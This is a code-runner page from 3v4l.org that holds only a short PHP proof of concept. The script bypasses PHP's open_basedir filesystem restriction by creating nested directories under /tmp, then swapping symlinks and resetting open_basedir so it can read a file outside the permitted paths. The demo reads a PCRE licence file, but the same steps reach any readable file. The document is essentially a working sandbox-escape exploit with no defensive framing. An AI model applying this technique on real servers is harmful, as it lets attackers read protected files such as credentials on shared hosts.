3v4l.org

run code in 300+ PHP versions simultaneously
<?php var_dump(ini_get('open_basedir')); var_dump(ini_set('open_basedir', '/tmp:/in:/etc:/usr')); # doesn't work var_dump(ini_get('open_basedir')); chdir('/tmp'); if (!is_dir('/tmp/a')) mkdir('/tmp/a/b/c/d/e/f/g/',0777,TRUE); else { unlink('foo'); unlink('bar'); } symlink('/tmp/a/b/c/d/e/f/g','foo'); ini_set('open_basedir','/tmp:bar/'); symlink('foo/../../../../../../','bar'); unlink('foo'); symlink('/tmp/','foo'); echo file_get_contents('bar/usr/share/doc/pcre/LICENCE');

preferences:
42.94 ms | 402 KiB | 5 Q